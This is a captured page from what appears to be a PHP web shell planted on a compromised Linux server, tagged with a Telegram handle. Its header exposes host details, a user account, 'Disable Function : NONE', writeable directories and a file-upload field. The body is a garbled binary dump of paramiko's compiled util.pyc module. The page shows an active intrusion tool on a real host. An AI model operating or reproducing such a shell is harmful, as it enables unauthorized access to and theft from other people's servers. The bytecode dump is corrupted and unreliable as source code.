https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/paramiko/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/paramiko/util.pyc
�
x�\c@s�dZddlmZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZm
Z
ddlmZmZmZmZmZddlmZed�Zer�endZer�e
nd	Zed
�Zdd�Zd
�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%ia&da'ej(�a)d�Z*e
d�Z+de,fd��YZ-e-�Z.d�Z/d�Z0d�Z1de,fd��YZ2d�Z3dS( s0
Useful functions used by the rest of paramiko.
i����(t
generatorsN(tDEBUGt	zero_bytet	xfffffffftmax_byte(tPY2tlongtbyte_chrtbyte_ordtb(t	SSHConfigc
Cstd�}d}|rJt|�dkrJt|d�dkrJd}nt|�dr�t}|rot}n|dt|�d|}nxItdt|�d�D]/}|d>tjd|||d!�d}q�W|r|td�dt|�>8}n|S(sTturns a normalized byte string into a long-int
    (adapted from Crypto.Util.number)ii�iii s>Ii(RtlenRRRtrangetstructtunpack(tstalways_positivetouttnegativetfillerti((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytinflate_long%s/		-!ii�cCsIt�}t|�}x@|dkrW|dkrWtjd|t@�|}|dL}qWxut|�D]F}|dkr�|dtkr�Pn|dkre|dtkrePqeqeWd}|dkr�t}nt	}||d}|rE|dkrt
|d�dkrt|}n|dkrEt
|d�dkrEt	|}qEn|S(sTturns a long-int into a normalized byte string
    (adapted from Crypto.Util.number)ii����s>Ii ii�(i(tbytesRR
tpackRt	enumeratetdeflate_zerot
deflate_ffRRR(tntadd_sign_paddingRR((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytdeflate_long>s*		"
"tcCs�d}g}xBt|�|dkrP|jt|||d!��|d7}qW|t|�kr}|jt||��ng|D]}||^q�S(Nii(Rtappendtformat_binary_line(tdatatprefixtxRtline((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt
format_binary]scCs�djg|D]}djt|��^q
�}djg|D]-}djt|��t|�dd^q>�}dj||�S(Nt s{:02X}Rs.{:c}..i?i_s	{:50s} {}(tjointformatR(R!tctlefttright((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyR hs1=cCsod}xb|D]Z}t|�}d|ko6dknrN|t|�7}q
|tdj|��7}q
W|S(NRi is%{:02X}(RRR	R((RRR)R((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytsafe_stringps
cCs�y|j�SWnvtk
r�t|t�}t|d�}|dkrMdSt|�d}x"|d@s�|dK}|d8}q`W|SXdS(Niiii�(t
bit_lengthtAttributeErrorRtFalseRR(Rtnormthbytetbitlen((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyR-{s


cCs%djtjtj���jd�S(NRs
(R't	tracebacktformat_exceptiontsystexc_infotsplit(((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt
tb_strings�scCs�t�}t�}t|�dkr1|d }nx�|dkr�|�}t|�dkrk|j|�n|jt|��|j|�|j�}t|t|��}||| 7}||8}q4W|S(s
    Given a password, passphrase, or other human-source key, scramble it
    through a secure hash into some keyworthy bytes.  This specific algorithm
    is used for encrypting/decrypting private key files.

    :param function hash_alg: A function which creates a new hash object, such
        as ``hashlib.sha256``.
    :param salt: data to salt the hash with.
    :type salt: byte string
    :param str key: human-entered password or passphrase.
    :param int nbytes: number of bytes to generate.
    :return: Key data `str`
    ii(RRtupdateR	tdigesttmin(thash_algtsalttkeytnbytestkeydataR:thash_objtsize((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytgenerate_key_bytes�s		
	
cCsddlm}||�S(s�
    Read a file of known SSH host keys, in the format used by openssh, and
    return a compound dict of ``hostname -> keytype ->`` `PKey
    <paramiko.pkey.PKey>`. The hostname may be an IP address or DNS name.  The
    keytype will be either ``"ssh-rsa"`` or ``"ssh-dss"``.

    This type of file unfortunately doesn't exist on Windows, but on posix,
    it will usually be stored in ``os.path.expanduser("~/.ssh/known_hosts")``.

    Since 1.5.3, this is just a wrapper around `.HostKeys`.

    :param str filename: name of the file to read host keys from
    :return:
        nested dict of `.PKey` objects, indexed by hostname and then keytype
    i����(tHostKeys(tparamiko.hostkeysRD(tfilenameRD((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytload_host_keys�scCst�}|j|�|S(sM
    Provided only as a backward-compatible wrapper around `.SSHConfig`.
    (R
tparse(tfile_objtconfig((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytparse_ssh_config�s	
cCs
|j|�S(sM
    Provided only as a backward-compatible wrapper around `.SSHConfig`.
    (tlookup(thostnameRJ((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytlookup_ssh_host_config�sc	Cs�dd|}}}dd|}}}xY|dkr�||}||||}}||||}}||||}}q+W|dkr�||7}n|S(Nii((	R#tmtu1tu2tu3tv1tv2tv3tq((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytmod_inverse�s

cCskttj��}yt|SWnFtk
rftj�ztd7at}t|<Wdtj�X|SXdS(Ni(	tidt	threadingt
currentThreadt
_g_thread_idstKeyErrort_g_thread_locktacquiret_g_thread_countertrelease(ttidtret((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt
get_thread_id�s


cCs�tjd�}t|j�dkr(dS|j|�t|d�}tj|�}d}|d7}|jtj|d��|j	|�dS(sKsend paramiko logs to a logfile,
    if they're not already going somewheretparamikoiNtas>%(levelname)-.3s [%(asctime)s.%(msecs)03d] thr=%(_threadid)-3ds %(name)s: %(message)ss%Y%m%d-%H:%M:%S(
tloggingt	getLoggerRthandlerstsetLeveltopent
StreamHandlertsetFormattert	Formattert
addHandler(RFtleveltltftlhtfrm((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytlog_to_file�s

tPFiltercBseZd�ZRS(cCst�|_tS(N(Rct	_threadidtTrue(tselftrecord((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytfilters(t__name__t
__module__Rz(((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyRuscCs tj|�}|jt�|S(N(RfRgt	addFiltert_pfilter(tnameRp((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt
get_loggers
cCsJxCtrEy|�SWqtk
rA}|jtjkrB�qBqXqWdS(s6Retries function until it doesn't raise an EINTR errorN(RwtEnvironmentErrorterrnotEINTR(tfunctionte((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytretry_on_signals	cCswt|�t|�krtSd}xHtr1tntt|��D](}|t||�t||�AO}qAW|dkS(Ni(RR/RtxrangeRR(ReR	tresR((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytconstant_time_bytes_eqs%&tClosingContextManagercBseZd�Zd�ZRS(cCs|S(N((Rx((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt	__enter__)scCs|j�dS(N(tclose(RxttypetvalueR3((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt__exit__,s(R{R|R�R�(((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyR�(s	cCst|t||��S(N(tmaxR;(tminimumtvaltmaximum((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pytclamp_value0s(4t__doc__t
__future__RR�R5R
R3RYRftparamiko.commonRRRRtparamiko.py3compatRRRRR	tparamiko.configR
R/RRRRwRR%R R,R-R8RCRGRKRNRWR[R_tLockR]RcRttobjectRuR~R�R�R�R�R�(((s1/tmp/pip-install-A1qMVe/paramiko/paramiko/util.pyt<module>sH"(														
	


https://t.me/AnonymousX5 - 2025